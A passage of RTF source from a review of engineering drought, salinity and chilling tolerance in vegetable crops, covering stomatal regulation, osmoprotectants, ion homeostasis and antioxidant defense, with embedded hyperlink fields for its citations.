\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11340546\charrsid16345645               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8090787\charrsid16345645           }{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid11340546\charrsid16345645  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11540189\charrsid16345645 \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 1. Water use efficiency
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13792508\charrsid16345645                                             }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Drought tolerance and water-use efficiency can be improved by precise regulation of stomatal opening. In response to drought stress, plants minimize water loss by ABA mediated stomatal closure. The signaling even
ts that bring about stomatal closure are fairly well understood at the molecular level{\*\bkmkstart bbib70}{\*\bkmkend bbib70}. The intragenic revertant of }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 ABA insensitive 1}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  mutant (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 abi1-1R3}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
) displayed an enhanced drought tolerance compared with the wild type }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Arabidopsis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 . Mutations i
n the farnesyl transferase gene (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 ERA1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
) cause hypersensitivity to ABA mediated stomatal closure. Under drought stress }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 era1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 mutants showed enhanced stomatal closure and thus reduced wilting ({\*\bkmkstart bbib58}{\*\bkmkend bbib58}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=Ar
ticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib58&quot; }{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003500380000000000000000790020}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Pei }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 1998}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). Transgenic analysis of guard cell signaling components will shed light on how these genes can be utilized to improve drought tolerance of crop plants.
\par }\pard\plain \ltrpar\s4\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 {\*\bkmkstart SECX4}{\*\bkmkend SECX4}2. Compatible osmolytes
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8090787\charrsid16345645 \tab \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
At the cellular level osmotic stress is caused by drought, salinity and temperature extremes. Osmotic adjustment is one of the vital cellular defenses to osmotic stress. Osmotic stress may induce ion uptake (K}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ), compartmentalization (Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 into vacuole) or synthesis of compatible solutes such as proline, betaine, polyols and soluble sugars. These organic compatible solutes protect plants from stress by (1) osmotic adjustment which helps in turgor maintenance (2) detoxificatio
n of radical oxygen species and (3) stabilization of the quaternary structure of proteins{\*\bkmkstart bbib8}{\*\bkmkend bbib8}
. Osmotic adjustment has been associated with an increase in crop yield under drought in many crop plants. These studies provided impetus to engineer plants 
that over-produce compatible solutes either constitutively or in response to stress. Several transgenic plants engineered to over-produce osmoprotectants showed enhanced abiotic stress tolerance. However, in vegetable crops only very few attempts have bee
n made to engineer osmoprotectants. Trehalose is one of the osmoprotectants for which the role in stress tolerance has been assessed in transgenic potato. Yeast }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 
trehalose-6-phosphate synthase}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 TPS1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 ) catalyzes synthesis of trehalose, which is a regulator of the carbohydrate allocation to glycolytic flux and stress survival strategies. Transgenic potato plants over-expressing the yeast }{\rtlch\fcs1 
\ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 TPS1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  gene showed enhanced drought tolerance}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid7171389\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  {\*\bkmkstart bbib79}{\*\bkmkend bbib79}Glycinebetaine is an important compatible solute employed by many pla
nts to combat abiotic stresses. Tomato plants do not accumulate glycinebetaine. Hence transgenic tomato plants were produced with a chloroplast-targeted }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 codA}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  gene of }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Arthrobacter globiformis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
, which encodes choline oxidase that catalyzes the conversion of choline to glycinebetaine. These transgenic plants exhibited enhanced chilling tolerance over various developmental phases, from seed germination to fruit production (10\endash 
30% more fruits), than their wild-type counterparts}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid7171389\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  {\*\bkmkstart bbib57}{\*\bkmkend bbib57}
Glycine betaine overproduction was achieved in carrot plants engineered to overexpress betaine aldehyde dehydrogenase (BADH) in plastids. These transgenic plants showed very high level of salt stress (400\~mM NaCl) tolerance ({\*\bkmkstart bbib44}
{\*\bkmkend bbib44}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://
www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc
5e403994b6786&quot; \\l &quot;bib44&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d003200340038003600620061006100300033003100300062003800650064003500630064006300350065003400300033003900390034006200360037003800360000000600000062006900620034003400000000000000000000b0}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Kumar }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al., }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 2004}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }\pard\plain \ltrpar\s4\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 {\*\bkmkstart SECX5}{\*\bkmkend SECX5}3. Ion homeostasis
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13792508\charrsid16345645                       }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13569895\charrsid16345645       \tab \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 Cellular ion homeostasis under salinity is achieved by the following strategies: (1) exclusion of Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  from the cell by plasma membrane-bound Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 /H}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  antiporters or by limiting the Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  entry, (2) utilization of Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  for osmotic adjustment by compartmentation of Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  into the vacuole through tonoplast Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 /H}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  antiporters, and (3) Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  secretion}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4991703\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  A high K}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 /Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  ratio is essential for cellular metabolism, which is disrupted under salt stress. In plants, Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  competes with K}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 for uptake under saline conditions. Hence, expression of cation transport systems that specifically transport K}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  into the cell might help in maintaining ionic balance. Over-expression of yeast }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 HAL1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 , a regulator of K}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 transport, in tomato resulted in increased K}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 accumulation and better salt tolerance under NaCl stress ({\*\bkmkstart bbib26}{\*\bkmkend bbib26}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=
&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib26&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000006000000620069006200320036000000000000000000000c}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Gisbert }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and {\*\bkmkstart bbib66}
{\*\bkmkend bbib66}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK
 &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa031
0b8ed5cdc5e403994b6786&quot; \\l &quot;bib66&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000006000000620069006200360036000000002d00000000004c}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Rus }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
., 2001}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ), which suggests that K}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  accumulation can be genetically manipulated to improve salt tolerance of vegetable crops.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid13569895\charrsid16345645 \tab  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 The tonoplast Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 /H}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  antiporters transport Na}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  into the vacuole by using electrochemical gradient of protons generated by the vacuolar H}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 -adenosine triphosphatase (ATPase) and H}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}
{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 -inorganic pyrophosphatase (PPase). This vacuolar compartmentation prevents deleterious effects of Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and also helps in osmotic adjustment. Transgenic tomato plants over-expressing }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 A. thaliana}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  Na}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 /H}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 +}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  antiporter }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 AtNHX1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  gene was also able to grow and produce fruit under high salinity (200\~mM NaCl). These plants accumulated high c
oncentrations of sodium in leaves but not in fruits ({\*\bkmkstart bbib85}{\*\bkmkend bbib85}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=
c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib85&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
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\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Zhang and Blumwald, 2001}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 ). Thus, a significant improvement in salinity tolerance in crop plants can be achieved by engineering a single gene.
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16604513\charrsid16345645 {\*\bkmkstart SECX6}{\*\bkmkend SECX6}              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4218572\charrsid16345645  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8133459\charrsid16345645 \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 4. Antioxidant defense
\par }\pard\plain \ltrpar\s25\qj \fi720\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Abiotic stresses cause metabolic aberrations due to their deleterious effects on rate of 
reaction, protein stability and membrane compartmentation. Perturbed metabolism under these abiotic stresses results in accumulation of toxic levels of reactive oxygen species (ROS) namely, superoxide radicals (O}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\sub\insrsid4943116\charrsid16345645 2}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2622313\charrsid16345645 INCLUDEPICTURE &quot;E:\\\\majid 2_files\\\\rad.gif&quot; \\* MERGEFORMAT}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  }}{\fldrslt {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\shppict{\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
